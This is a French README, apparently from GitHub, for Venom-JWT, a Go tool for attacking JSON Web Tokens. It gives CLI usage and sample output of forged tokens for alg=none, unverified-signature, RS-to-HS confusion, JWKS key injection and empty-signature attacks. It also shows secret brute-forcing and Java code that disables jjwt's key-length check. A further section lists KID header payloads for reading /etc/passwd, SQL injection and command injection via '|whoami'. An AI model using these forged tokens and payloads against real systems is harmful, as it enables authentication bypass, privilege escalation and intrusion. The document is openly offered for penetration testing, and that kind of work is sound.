
Outil de vérification de vulnérabilité et de brute-force de clés développé pour les tests d'intrusion JWT. Génère des résultats pour le FUZZ ciblant CVE-2015-9235/attaque par clé vide/attaque de signature non vérifiée/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042, et permet également le brute-force via dictionnaire/énumération de caractères (y compris JJWT) (JWT Crack).
Déclaration solennelle : les techniques, idées et outils présentés dans ce document sont exclusivement destinés à un apprentissage et à un échange à des fins de sécurité. Nul ne peut les utiliser à des fins illégales ou lucratives, sous peine d'en assumer la responsabilité.
Outil de validation de vulnérabilité / brute-force de clés secrètes développé pour la pénétration JWT. Génère des résultats pour CVE-2015-9235 / Attaque par signature non vérifiée / CVE-2016-10555 / CVE-2018-0114 / CVE-2020-28042 à utiliser pour du FUZZ. Peut également utiliser un dictionnaire ou l'énumération de caractères pour effectuer un brute-force.Présentation de l'outil · Mode d'emploi · Précautions · Échanges techniques
Lors des tests de pénétration de projets en entreprise, il arrive souvent de rencontrer JWT utilisé comme jeton pour la validation des droits, en particulier dans les projets séparant le front-end et le back-end. On peut utiliser des outils comme jwt-tool, mais ils ne permettent pas d'aller droit au but. J'ai donc développé en Go un outil d'assistance à la pénétration JWT complet, pour vous aider à réaliser des tests de dépassement de privilèges.
Quels sont les scénarios d'application de cet outil :
Quels sont les avantages de cet outil :
# Compilation
go mod tidy
cd cmd
go build.
# Exécution en ligne de commande
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
Utiliser un fichier de payloads, par défaut vide → utiliser le dictionnaire intégré des rôles (mode de liaison 2). Mode 3 non vide (mode de liaison 3)
-em int
Mode de chiffrement du secret : NONE/MD5/MD5 16 caractères/BASE64 (par défaut ALL=>0, NONE=>1, MD5=>2, MD5 16=>3, BASE64=>4)
-fs string
Dictionnaire par défaut pour le brute-force, peut être modifié selon vos propres règles (associé à -fz pour la longueur) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
Nombre maximum de caractères pour le brute-force par caractères (si utilisé, préciser le nombre de caractères avec -fz)
-jbc string
Corps JWT à modifier
-jm int
Mode 1 : (Secret inconnu) Test de dépassement de privilèges en modifiant le Payload ; Mode 2 : (testez d'abord le mode 1) Test de dépassement par FUZZ du Payload ; Mode 3 : Brute-force du secret via fichier texte ; Mode 4 : Brute-force du secret par caractères (si utilisé, préciser la longueur avec -fz) ; Mode 5 : Validation du Secret JWT (default 1)
-jwt.txt string
Chaîne JWT
-mz int
Nombre minimum de caractères pour le brute-force par caractères (si utilisé, préciser -mz), par défaut 1 (default 1)
-pem string
Chemin du fichier PEM de clé publique (de préférence chemin absolu)
-pt int
Sélection du mode : 0 = tout exécuter par défaut ; 1 = modifier alg en none (CVE-2015-2951) ; 2 = dépassement de privilèges par signature non vérifiée ; 3 = modifier l'algorithme asymétrique en symétrique (CVE-2016-10555) ; 4 = injection de clé publique JWKS – falsification de clé (CVE-2018-0114) ; 5 = signature vide (CVE-2020-28042)
-s string
Secret connu, par défaut vide
# Exécution interactive
.\cmd.exe
? 【Sélection préalable】 En cas de secret inconnu, modifiez JWT pour tester le dépassement de privilèges, veuillez choisir le mode :
[·] [Use arrows to move, type to filter]
> Mode 1 : (Secret inconnu) Test de dépassement en modifiant le Payload
Mode 2 : (testez d'abord le mode 1) Test de dépassement par FUZZ du Payload
Mode 3 : Brute-force du secret par fichier texte
Mode 4 : Brute-force du secret par caractères
Mode 5 : Validation du Secret JWT
? Veuillez entrer votre chaîne JWT :
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]En-tête JWT : {"alg":"HS256","typ":"JWT"}
Payload JWT : {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
Signature JWT : 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? 【Mode 1】【Mode 2】 En cas de secret inconnu, modification du JWT pour tester le dépassement de privilèges, veuillez sélectionner le mode de test spécifique :
[·] [Use arrows to move, type to filter]
> Mode 0 : Tout exécuter par défaut
Mode 1 : Modifier alg en none (CVE-2015-2951)
Mode 2 : Dépassement de privilèges par signature non vérifiée
Mode 3 : Modifier l'algorithme asymétrique en symétrique (CVE-2016-10555)
Mode 4 : Injection de clé publique JWKS – falsification de clé (CVE-2018-0114)
Mode 5 : Signature vide (CVE-2020-28042)
? Vous avez sélectionné 【Mode 1】【Mode 2】【Mode 5】, vous devez modifier la partie JSON du deuxième bloc (Payload) du JWT pour tester le dépassement. Veuillez copier la partie Payload de l'étape précédente, la modifier, puis la coller ici :
【Mode 1】【Mode 5】Exemple : {"username":"admin","role":"admin"}
【Mode 2】Exemple : {"username":"admin","role":"FUZZ"}
Remarque pour 【Mode 2】 : FUZZ est ici l'emplacement de remplacement du dictionnaire. Si vous ne modifiez rien, appuyez simplement sur Entrée pour utiliser le Payload d'origine par défaut.
? Veuillez entrer le chemin du fichier PEM de clé publique que vous avez collecté (de préférence chemin absolu)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
============== Test de dépassement de privilèges sans secret en modifiant le Payload ===========
① Dans la plupart des cas, lorsque alg est HS256, on peut modifier JWT pour utiliser none (CVE-2015-9235)
[+]【alg = none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg = None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg = NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg = NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Attaque par signature non vérifiée : modification du Payload sans vérification
[+]【Attaque par signature invalide】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ Attaque par modification de l'algorithme asymétrique en symétrique (CVE-2016-10555)
[+] 【Modification de l'algorithme asymétrique en symétrique】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ Attaque par injection de clé publique JWKS – falsification de clé (CVE-2018-0114)
[+]【Falsification de clé】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ Attaque par signature vide (CVE-2020-28042)
[+]【Signature vide】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
Remarque : tous les résultats JWT ont été sauvegardés dans le fichier result.txt situé dans le répertoire d'exécution. Vous pouvez les utiliser dans Repeater/Intruder pour tester s'il s'agit d'un jeton valide.
① Dans la plupart des cas, lorsque alg est HS256, modifier JWT pour utiliser none (CVE-2015-9235)
② Attaque par signature non vérifiée : modification du Payload sans vérification
③ Attaque par modification de l'algorithme asymétrique en symétrique (CVE-2016-10555)
④ Attaque par injection de clé publique JWKS – falsification de clé (CVE-2018-0114)
⑤ Attaque par signature vide (CVE-2020-28042)
Peut être directement rejoué dans Repeater.
Autres découvertes de vulnérabilités spéciales :
Lors de l'analyse du premier segment du JWT, si d'autres paramètres sont détectés, des alertes peuvent être générées pour d'autres vulnérabilités.
// Code de test Java jjwt
public class JwtExample {
private static void disableKeyLengthCheck() throws Exception {
// Utiliser la réflexion pour modifier le minKeyLength de SignatureAlgorithm.HS256
Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
minKeyLengthField.setAccessible(true);
minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // Définir la longueur minimale de clé à 0
}
public static void main(String[] args) throws Exception {
disableKeyLengthCheck();
// Clé originale
String secret = "test@123";
JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
HashMap<String, Object> stringObjectHashMap = new HashMap<>();
stringObjectHashMap.put("test", "test");
jwtBuilder.addClaims(stringObjectHashMap);
System.out.println(jwtBuilder.compact());
}
}
Résultat généré : eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM



Voici les vulnérabilités associées (tirées d'autres articles, analysez-les par vous-même)
1. Lecture arbitraire de fichier
Le paramètre KID est utilisé pour lire le fichier de clé, mais le système ne sait pas si l'utilisateur souhaite réellement lire le fichier de clé. En l'absence de filtrage du paramètre, un attaquant peut lire n'importe quel fichier du système.
{ "typ": "JWT", "kid": "/etc/passwd", "alg": "HS256"}
2. Injection SQL
Le KID peut également extraire des données de la base de données, ce qui pourrait mener à une injection SQL. En construisant des instructions SQL, un attaquant peut obtenir des données ou contourner la validation de la signature.
Si un champ KID est présent, essayez une injection : modifiez la valeur de KID en une instruction SQL, remplacez le nom d'utilisateur par Tom, et la clé de signature doit être identique à l'instruction SQL. Par exemple, si l'instruction SQL est 'Mw==' (qui est le base64 de 3), alors la clé de signature doit être 3 :
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}
3. Injection de commandes
Un filtrage insuffisant du paramètre KID peut également entraîner une injection de commandes, mais les conditions d'exploitation sont assez restrictives. Si le serveur utilise Ruby et que la fonction open est utilisée pour lire le fichier de clé, il est possible de provoquer une injection de commandes en manipulant les paramètres.
{ "typ": "JWT", "kid": "/path/to/key_file|whoami", "alg": "HS256"}
En présence d'autres paramètres, une analyse plus approfondie est également possible.
Voyons maintenant le module de brute-force
Trouvez un dictionnaire en ligne pour test.
Test JWT1 (secret 123456) :
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

Test JWT2 (jjwt secret test@123) :
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

Ensuite, testez l'effet de génération de caractères avec JWT1 :
Ici, j'ai généré tous les dictionnaires de 4 à 6 caractères, avec l'entrée 1234567890. Pour des raisons de démonstration, il n'est pas nécessaire d'utiliser une trop grande taille, vous pouvez tester par vous-même, c'est rapide de toute façon.

Un fichier genFuzzDict.txt sera généré dans le répertoire courant. La quantité générée peut être énorme. J'avais prévu d'utiliser un pool de threads avec un modèle producteur-consommateur, mais en réalité, à partir de 4 caractères, le programme plante par manque de mémoire. J'ai donc amélioré la solution pour sauvegarder et lire le fichier texte. Lorsque le programme trouve la clé, il se ferme automatiquement et ne lit plus le fichier.
Donnons un exemple avec MD5 :
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

public_key.pem dans le répertoire racine est obligatoire pour le test du Mode 3 : Modification de l'algorithme asymétrique en symétrique (CVE-2016-10555). Si la clé publique est divulguée dans le JS de la page, utilisez celle de la page ; sinon, utilisez celui-ci pour effectuer la génération, faute de quoi une erreur se produira.Outils de test de pénétration sur Github : https://github.com/z-bool Venom
Projets de recherche en sécurité sur Github : https://github.com/SpringKill-team SpringKill Team
Compte public "阿呆攻防" :
